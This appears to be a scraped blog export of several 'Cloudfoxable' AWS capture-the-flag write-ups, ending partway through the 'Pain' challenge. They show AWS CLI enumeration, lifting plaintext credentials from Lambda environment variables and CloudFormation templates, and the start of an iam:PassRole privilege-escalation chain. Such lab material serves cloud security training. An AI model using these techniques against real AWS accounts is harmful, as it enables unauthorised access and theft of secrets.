\u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRIDWPNNITK2C:botocore-session-1773305251\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/Alexander-Arnold/botocore-session-1773305251\u0026#34; } 1 2 3 4 5 6 7 8 9 10 11 adicpnn@laboratory cloud % aws secretsmanager get-secret-value --secret-id DomainAdministrator-Credentials --profile alexander { \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:secretsmanager:eu-central-1:129323993607:secret:DomainAdministrator-Credentials-WvVKMX\u0026#34;, \u0026#34;Name\u0026#34;: \u0026#34;DomainAdministrator-Credentials\u0026#34;, \u0026#34;VersionId\u0026#34;: \u0026#34;terraform-20260311154358477400000005\u0026#34;, \u0026#34;SecretString\u0026#34;: \u0026#34;FLAG{backwards::IfYouFindSomethingInterstingFindWhoHasAccessToIt}\u0026#34;, \u0026#34;VersionStages\u0026#34;: [ \u0026#34;AWSCURRENT\u0026#34; ], \u0026#34;CreatedDate\u0026#34;: \u0026#34;2026-03-11T16:43:58.509000+01:00\u0026#34; } ","permalink":"https://adicpnn.com/blog/cloudfoxable/backwards/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eIn some challenges, you might not see an IAM role or an IP address as the starting point, but rather, an interesting ARN or something like that.\u003c/p\u003e\n\u003cp\u003eSometimes during cloud penetration tests, we first find something interesting and then work backwards to see who has access to it. Is it just the Administrators? Well, that\u0026rsquo;s not really a big deal. Is it all developers, or all users, or anyone in the world? That might be a really big deal!\u003c/p\u003e","title":"Cloudfoxable - Backwards"},{"content":" A Lambda function URL can be used to expose a Lambda function to the internet without an API gateway or another load balancer. This is really handy for builders, but can also be really handy for offensive security folk, as it\u0026rsquo;s ripe for misconfiguration.\nUse cloudfox to find the furls1 FunctionURL and find the flag.\nInformation Gathering I\u0026rsquo;ll start off by enumerating the lambda functions in this account.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 adicpnn@laboratory cloud % aws lambda list-functions --profile cloudfoxable ... { \u0026#34;FunctionName\u0026#34;: \u0026#34;furls1\u0026#34;, \u0026#34;FunctionArn\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:furls1\u0026#34;, \u0026#34;Runtime\u0026#34;: \u0026#34;nodejs18.x\u0026#34;, \u0026#34;Role\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/aaronson\u0026#34;, \u0026#34;Handler\u0026#34;: \u0026#34;index.handler\u0026#34;, \u0026#34;CodeSize\u0026#34;: 341, \u0026#34;Description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Timeout\u0026#34;: 3, \u0026#34;MemorySize\u0026#34;: 128, \u0026#34;LastModified\u0026#34;: \u0026#34;2026-03-11T15:44:13.331+0000\u0026#34;, \u0026#34;CodeSha256\u0026#34;: \u0026#34;NJIC8ugwDL7yoVLREQtcAxMsjM/7Hl25TOIBUV9YAC0=\u0026#34;, \u0026#34;Version\u0026#34;: \u0026#34;$LATEST\u0026#34;, \u0026#34;TracingConfig\u0026#34;: { \u0026#34;Mode\u0026#34;: \u0026#34;PassThrough\u0026#34; }, \u0026#34;RevisionId\u0026#34;: \u0026#34;d915e7d5-f4a3-46c4-a27e-5d8a8f089cfc\u0026#34;, \u0026#34;PackageType\u0026#34;: \u0026#34;Zip\u0026#34;, \u0026#34;Architectures\u0026#34;: [ \u0026#34;x86_64\u0026#34; ], \u0026#34;EphemeralStorage\u0026#34;: { \u0026#34;Size\u0026#34;: 512 }, \u0026#34;SnapStart\u0026#34;: { \u0026#34;ApplyOn\u0026#34;: \u0026#34;None\u0026#34;, \u0026#34;OptimizationStatus\u0026#34;: \u0026#34;Off\u0026#34; }, \u0026#34;LoggingConfig\u0026#34;: { \u0026#34;LogFormat\u0026#34;: \u0026#34;Text\u0026#34;, \u0026#34;LogGroup\u0026#34;: \u0026#34;/aws/lambda/furls1\u0026#34; } }, ... Then try to find it\u0026rsquo;s URL.\n1 2 3 4 5 6 7 8 9 adicpnn@laboratory cloud % aws lambda get-function-url-config --function-name furls1 --profile cloudfoxable { \u0026#34;FunctionUrl\u0026#34;: \u0026#34;https://u3yz7t3bxqhg66hkj5po4e3mdi0agomz.lambda-url.eu-central-1.on.aws/\u0026#34;, \u0026#34;FunctionArn\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:furls1\u0026#34;, \u0026#34;AuthType\u0026#34;: \u0026#34;NONE\u0026#34;, \u0026#34;CreationTime\u0026#34;: \u0026#34;2026-03-11T15:44:25.226873470Z\u0026#34;, \u0026#34;LastModifiedTime\u0026#34;: \u0026#34;2026-03-11T15:44:25.226873470Z\u0026#34;, \u0026#34;InvokeMode\u0026#34;: \u0026#34;BUFFERED\u0026#34; } Execution All that\u0026rsquo;s left to do now is visit the URL :)\n1 2 adicpnn@laboratory cloud % curl https://u3yz7t3bxqhg66hkj5po4e3mdi0agomz.lambda-url.eu-central-1.on.aws/ {\u0026#34;flag\u0026#34;:\u0026#34;FLAG{furls1::function_urls_can_be_accidentally_expose_internal_data}\u0026#34;} ","permalink":"https://adicpnn.com/blog/cloudfoxable/furls1/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eA Lambda function URL can be used to expose a Lambda function to the internet without an API gateway or another load balancer. This is really handy for builders, but can also be really handy for offensive security folk, as it\u0026rsquo;s ripe for misconfiguration.\u003c/p\u003e\n\u003cp\u003eUse cloudfox to find the furls1 FunctionURL and find the flag.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch3 id=\"information-gathering\"\u003eInformation Gathering\u003c/h3\u003e\n\u003cp\u003eI\u0026rsquo;ll start off by enumerating the lambda functions in this account.\u003c/p\u003e","title":"Cloudfoxable - Furls1"},{"content":" This Lambda Function URL doesn\u0026rsquo;t just give you the key like furls1. You have to work a little harder for this one. CloudFox can definitely help you here.\nInformation Gathering This time around, I don\u0026rsquo;t know which lambda function to target, since there\u0026rsquo;s no \u0026ldquo;furls2\u0026rdquo; function. Instead, I will list all the function URLs in the AWS account. (minus the one I\u0026rsquo;ve already exploited)\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % aws lambda list-function-url-configs --function-name auth-me --profile cloudfoxable { \u0026#34;FunctionUrlConfigs\u0026#34;: [ { \u0026#34;FunctionUrl\u0026#34;: \u0026#34;https://7xgive72nggapgp5tkapsgugjq0gtcuy.lambda-url.eu-central-1.on.aws/\u0026#34;, \u0026#34;FunctionArn\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:auth-me\u0026#34;, \u0026#34;CreationTime\u0026#34;: \u0026#34;2026-03-11T15:44:19.431282800Z\u0026#34;, \u0026#34;LastModifiedTime\u0026#34;: \u0026#34;2026-03-11T15:44:19.431282800Z\u0026#34;, \u0026#34;AuthType\u0026#34;: \u0026#34;NONE\u0026#34;, \u0026#34;InvokeMode\u0026#34;: \u0026#34;BUFFERED\u0026#34; } ] } Looks like the \u0026ldquo;auth-me\u0026rdquo; is my target. I\u0026rsquo;ll try and visit this URL now.\n1 2 adicpnn@laboratory cloud % curl https://7xgive72nggapgp5tkapsgugjq0gtcuy.lambda-url.eu-central-1.on.aws/ To authenticate, send a GET request with the following parameters: username=[username]\u0026amp;password=[password].\u0026lt;br\u0026gt;\u0026lt;br\u0026gt;You should check out the furls2 challenge for more information.% Seems I will need more information this time around. I\u0026rsquo;ll try some more aws commands to enumerate this function.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 adicpnn@laboratory cloud % aws lambda get-function --function-name auth-me --profile cloudfoxable aws: [ERROR]: An error occurred (AccessDeniedException) when calling the GetFunction operation: User: arn:aws:iam::129323993607:user/ctf-starting-user is not authorized to perform: lambda:GetFunction on resource: arn:aws:lambda:eu-central-1:129323993607:function:auth-me because no identity-based policy allows the lambda:GetFunction action adicpnn@laboratory cloud % aws lambda list-functions --profile cloudfoxable ... { \u0026#34;FunctionName\u0026#34;: \u0026#34;auth-me\u0026#34;, \u0026#34;FunctionArn\u0026#34;: \u0026#34;arn:aws:lambda:eu-central-1:129323993607:function:auth-me\u0026#34;, \u0026#34;Runtime\u0026#34;: \u0026#34;nodejs18.x\u0026#34;, \u0026#34;Role\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/sauerbrunn\u0026#34;, \u0026#34;Handler\u0026#34;: \u0026#34;index.handler\u0026#34;, \u0026#34;CodeSize\u0026#34;: 1200, \u0026#34;Description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;Timeout\u0026#34;: 3, \u0026#34;MemorySize\u0026#34;: 128, \u0026#34;LastModified\u0026#34;: \u0026#34;2026-03-11T15:44:07.496+0000\u0026#34;, \u0026#34;CodeSha256\u0026#34;: \u0026#34;wDRiJlLRD3jaTUoM+63AZ+lX2qxs4Bm5SZzS0+Evb0E=\u0026#34;, \u0026#34;Version\u0026#34;: \u0026#34;$LATEST\u0026#34;, \u0026#34;Environment\u0026#34;: { \u0026#34;Variables\u0026#34;: { \u0026#34;lambda_http_user\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;lambda_http_password\u0026#34;: \u0026#34;NotSummer2023\u0026#34; } }, ... I wasn\u0026rsquo;t allowed to perform GetFunction, but in the end doing a ListFunctions was all i ever needed!\nExecution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 adicpnn@laboratory cloud % curl \u0026#34;https://7xgive72nggapgp5tkapsgugjq0gtcuy.lambda-url.eu-central-1.on.aws/?username=admin\u0026amp;password=NotSummer2023\u0026#34; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;style\u0026gt; body { font-family: Arial, sans-serif; line-height: 1.6; } h1 { color: red; } p { margin-bottom: 10px; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;FLAG{furls2::WhoCanExploitTheThingYouFound:PLACEHOLDER}\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;\u0026lt;strong\u0026gt;Pay attention because this is important.\u0026lt;/strong\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;You found this flag because you discovered some credentials in an environment variable and realized that they could be used with this function. Great job!\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;Now, what should you do next? While it\u0026#39;s true that storing secrets in environment variables is considered bad practice, it\u0026#39;s even more crucial for a penetration tester like you to determine WHO can access this secret.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;For instance, if only Administrators and you (the penetration tester who requested SecurityAudit access) have access to this environment variable, the risk is minimal.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;However, if you can find a principal who shouldn\u0026#39;t have access to this secret but can still access it, then your discovery becomes significant.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;As your final challenge, use the \u0026#39;permissions\u0026#39; command to find the \u0026lt;b\u0026gt;role\u0026lt;/b\u0026gt; that can access this flag (not ctf-starting-user - i know you can see it!) \u0026lt;/p\u0026gt; \u0026lt;p\u0026gt; Once you find the role, replace \u0026#39;PLACEHOLDER\u0026#39; in the flag with the name of the role (just the name, not the entire ARN)\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; So the challenge isn\u0026rsquo;t over yet. At this point I\u0026rsquo;ve become familiar with scanning roles and policies so this shouldn\u0026rsquo;t be an issue.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 adicpnn@laboratory cloud % aws iam list-policies --only-attached --profile cloudfoxable ... { \u0026#34;PolicyName\u0026#34;: \u0026#34;furls1\u0026#34;, \u0026#34;PolicyId\u0026#34;: \u0026#34;ANPAR4HCPRIDWLMFTZTZU\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/furls1\u0026#34;, \u0026#34;Path\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;DefaultVersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;AttachmentCount\u0026#34;: 1, \u0026#34;PermissionsBoundaryUsageCount\u0026#34;: 0, \u0026#34;IsAttachable\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:56+00:00\u0026#34;, \u0026#34;UpdateDate\u0026#34;: \u0026#34;2026-03-11T15:43:56+00:00\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;furls2\u0026#34;, \u0026#34;PolicyId\u0026#34;: \u0026#34;ANPAR4HCPRIDQ4UGTNDAV\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/furls2\u0026#34;, \u0026#34;Path\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;DefaultVersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;AttachmentCount\u0026#34;: 1, \u0026#34;PermissionsBoundaryUsageCount\u0026#34;: 0, \u0026#34;IsAttachable\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:56+00:00\u0026#34;, \u0026#34;UpdateDate\u0026#34;: \u0026#34;2026-03-11T15:43:56+00:00\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;important-policy\u0026#34;, \u0026#34;PolicyId\u0026#34;: \u0026#34;ANPAR4HCPRIDS47NLRBGJ\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/important-policy\u0026#34;, \u0026#34;Path\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;DefaultVersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;AttachmentCount\u0026#34;: 1, \u0026#34;PermissionsBoundaryUsageCount\u0026#34;: 0, \u0026#34;IsAttachable\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:44:04+00:00\u0026#34;, \u0026#34;UpdateDate\u0026#34;: \u0026#34;2026-03-11T15:44:04+00:00\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;lambda-viewer\u0026#34;, \u0026#34;PolicyId\u0026#34;: \u0026#34;ANPAR4HCPRIDS5VI7QN5C\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/lambda-viewer\u0026#34;, \u0026#34;Path\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;DefaultVersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;AttachmentCount\u0026#34;: 1, \u0026#34;PermissionsBoundaryUsageCount\u0026#34;: 0, \u0026#34;IsAttachable\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:44:56+00:00\u0026#34;, \u0026#34;UpdateDate\u0026#34;: \u0026#34;2026-03-11T15:44:56+00:00\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;mewis\u0026#34;, \u0026#34;PolicyId\u0026#34;: \u0026#34;ANPAR4HCPRIDYKBDO2M23\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/mewis\u0026#34;, \u0026#34;Path\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;DefaultVersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;AttachmentCount\u0026#34;: 1, \u0026#34;PermissionsBoundaryUsageCount\u0026#34;: 0, \u0026#34;IsAttachable\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:57+00:00\u0026#34;, \u0026#34;UpdateDate\u0026#34;: \u0026#34;2026-03-11T15:43:57+00:00\u0026#34; }, ... There\u0026rsquo;s plenty of policies here, even one named \u0026ldquo;furls2\u0026rdquo;. Unfortunately, upon inspection, this is not the one we\u0026rsquo;re looking for.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/furls2 --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;logs:CreateLogGroup\u0026#34;, \u0026#34;logs:CreateLogStream\u0026#34;, \u0026#34;logs:PutLogEvents\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:56+00:00\u0026#34; } } Instead, after a bit of trial and error, I found the \u0026ldquo;mewis\u0026rdquo; policy, which allows the lambda:ListFunctions action.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/mewis --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;lambda:ListFunctions\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:57+00:00\u0026#34; } } Now the question wasn\u0026rsquo;t which policy permits this kind of action, but finding the role it\u0026rsquo;s attached to. I\u0026rsquo;ve documented in the \u0026ldquo;Backwards\u0026rdquo; challenge write-up how I go about listing all policies attached to roles in my AWS account.\n1 2 3 4 5 6 7 8 9 10 11 12 adicpnn@laboratory cloud % while IFS= read -r line; do echo \u0026#34;$line\u0026#34;; aws iam list-attached-role-policies --role-name $line --profile cloudfoxable; done \u0026lt; roles ... mewis { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;mewis\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/mewis\u0026#34; } ] } ... Lo and behold, the role I was looking for had the same name as the policy attached to it!\n","permalink":"https://adicpnn.com/blog/cloudfoxable/furls2/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eThis Lambda Function URL doesn\u0026rsquo;t just give you the key like furls1. You have to work a little harder for this one. CloudFox can definitely help you here.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch3 id=\"information-gathering\"\u003eInformation Gathering\u003c/h3\u003e\n\u003cp\u003eThis time around, I don\u0026rsquo;t know which lambda function to target, since there\u0026rsquo;s no \u0026ldquo;furls2\u0026rdquo; function. Instead, I will list all the function URLs in the AWS account. (minus the one I\u0026rsquo;ve already exploited)\u003c/p\u003e","title":"Cloudfoxable - Furls2"},{"content":" You\u0026rsquo;ve just gained access to the role ramos. This role has a bunch of read only access? Can you comb through the access you have and the resources that exist and see if you can find the flag?\nInformation Gathering Short and concise challenge details, I will start by preparing a profile for ramos, and checking which policies are attached to it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile ramos] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/ramos source_profile = cloudfoxable adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name ramos --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;AWSCloudFormationReadOnlyAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;AWSWAFReadOnlyAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AWSWAFReadOnlyAccess\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;AWSBudgetsReadOnlyAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AWSBudgetsReadOnlyAccess\u0026#34; } ] } I\u0026rsquo;ll go ahead and focus on enumerating CloudFormation first.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 adicpnn@laboratory cloud % aws cloudformation list-stacks --profile ramos { \u0026#34;StackSummaries\u0026#34;: [ { \u0026#34;StackId\u0026#34;: \u0026#34;arn:aws:cloudformation:eu-central-1:129323993607:stack/cloudformationStack/1d193320-1d61-11f1-9695-0abb4b4e45b3\u0026#34;, \u0026#34;StackName\u0026#34;: \u0026#34;cloudformationStack\u0026#34;, \u0026#34;CreationTime\u0026#34;: \u0026#34;2026-03-11T15:43:56.269000+00:00\u0026#34;, \u0026#34;StackStatus\u0026#34;: \u0026#34;CREATE_COMPLETE\u0026#34;, \u0026#34;DriftInformation\u0026#34;: { \u0026#34;StackDriftStatus\u0026#34;: \u0026#34;NOT_CHECKED\u0026#34; }, \u0026#34;LastOperations\u0026#34;: [ { \u0026#34;OperationType\u0026#34;: \u0026#34;CREATE_STACK\u0026#34;, \u0026#34;OperationId\u0026#34;: \u0026#34;d25db271-60c0-4784-a514-e91de30fb5b4\u0026#34; } ] }, ] } Execution There\u0026rsquo;s a CloudFormation stack already created, wonder I might find in it\u0026rsquo;s template?\n1 2 3 4 5 6 7 8 9 10 11 12 adicpnn@laboratory cloud % aws cloudformation get-template-summary --stack-name cloudformationStack --profile ramos ... { \u0026#34;ResourceType\u0026#34;: \u0026#34;AWS::SecretsManager::Secret\u0026#34;, \u0026#34;LogicalResourceIds\u0026#34;: [ \u0026#34;NotImportant\u0026#34; ], \u0026#34;ResourceIdentifiers\u0026#34;: [ \u0026#34;Id\u0026#34; ] }, ... That didn\u0026rsquo;t take long, looks like there might be a hardcoded secret in here.\n1 2 3 4 5 6 7 8 9 10 11 12 adicpnn@laboratory cloud % aws cloudformation get-template --stack-name cloudformationStack --profile ramos .... \u0026#34;NotImportant\u0026#34;: { \u0026#34;Properties\u0026#34;: { \u0026#34;Description\u0026#34;: \u0026#34;Secure secret for sensitive data\u0026#34;, \u0026#34;Name\u0026#34;: \u0026#34;my-app-secret\u0026#34;, \u0026#34;SecretString\u0026#34;: \u0026#34;FLAG{needles::hardcoded_secret_in_cloudformation}\u0026#34; }, \u0026#34;Type\u0026#34;: \u0026#34;AWS::SecretsManager::Secret\u0026#34; } } ... ","permalink":"https://adicpnn.com/blog/cloudfoxable/needles/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eYou\u0026rsquo;ve just gained access to the role ramos. This role has a bunch of read only access? Can you comb through the access you have and the resources that exist and see if you can find the flag?\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch3 id=\"information-gathering\"\u003eInformation Gathering\u003c/h3\u003e\n\u003cp\u003eShort and concise challenge details, I will start by preparing a profile for ramos, and checking which policies are attached to it.\u003c/p\u003e","title":"Cloudfoxable - Needles"},{"content":" In the 2022 FIFA World Cup, Christian Pulisic put his body on the line to net a crucial goal for the USA, ensuring their progression beyond the group stage: https://www.youtube.com/watch?v=Y7VA30UYlQo. He did what he had to do, even though he knew it was going to hurt.\nSimilarly, during a penetration test, whether in a cloud environment or otherwise, you might identify a exploit path that won\u0026rsquo;t be pleasant to exploit, but you know the end result will be worth it.\nFor this challenge, you have just gained access to the role christian_pulisic. The trophy target for this challenge is in an s3 bucket named pain-s3-[random-chars] in your account.\nStart with christian_pulisic and follow the permissions until you see the path. That\u0026rsquo;s the easy part :). Executing the exploit chain\u0026hellip; not so easy.\nPulisic in the hospital\nInformation Gathering First things first, set up the profile, and test access.\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile chris] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/christian_pulisic source_profile = cloudfoxable adicpnn@laboratory cloud % aws sts get-caller-identity --profile chris { \u0026#34;UserId\u0026#34;: \u0026#34;AROAR4HCPRID3CJXSNQTL:botocore-session-1773330487\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;129323993607\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/christian_pulisic/botocore-session-1773330487\u0026#34; } Then, enumerating attached policies.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name christian_pulisic --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;pain-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/pain-policy\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;AWSCloudFormationReadOnlyAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;AmazonEC2ReadOnlyAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AmazonEC2ReadOnlyAccess\u0026#34; } ] } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;cloudformation:CreateStack\u0026#34;, \u0026#34;cloudformation:DescribeStacks\u0026#34;, \u0026#34;cloudformation:DeleteStack\u0026#34;, \u0026#34;cloudformation:DescribeStackEvents\u0026#34;, \u0026#34;cloudformation:DescribeStackResource\u0026#34;, \u0026#34;cloudformation:DescribeStackResources\u0026#34;, \u0026#34;cloudformation:DescribeStacks\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; }, { \u0026#34;Action\u0026#34;: [ \u0026#34;iam:PassRole\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;*\u0026#34; ] } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:57+00:00\u0026#34; } } This permissions combination is a common IAM Privilege Escalation vector, nicely documented by Seth Art here:\nA principal with iam:PassRole and cloudformation:CreateStack can launch a CloudFormation template that creates AWS resources. The template executes with the permissions of the passed IAM role. This allows creation of resources controlled by the attacker, such as IAM users, Lambda functions, or EC2 instances. The level of access gained depends on the permissions of the available roles.\nTo proceed from here, I\u0026rsquo;ll need to find a role in the AWS Account that trusts \u0026ldquo;cloudformation.amazonaws.com\u0026rdquo; to assume it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 aws iam list-roles --profile cloudfoxable | jq \u0026#39;.Roles | map({Arn,AssumeRolePolicyDocument})\u0026#39; ... { \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/tab_ramos\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;Service\u0026#34;: \u0026#34;cloudformation.amazonaws.com\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] } }, ... Let\u0026rsquo;s see if the role has any administrative privileges.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 adicpnn@laboratory cloud % aws iam list-attached-role-policies --role-name tab_ramos --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;pain2-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/pain2-policy\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;AWSLambda_FullAccess\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/AWSLambda_FullAccess\u0026#34; } ] } adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/pain2-policy --version-id v1 --profile 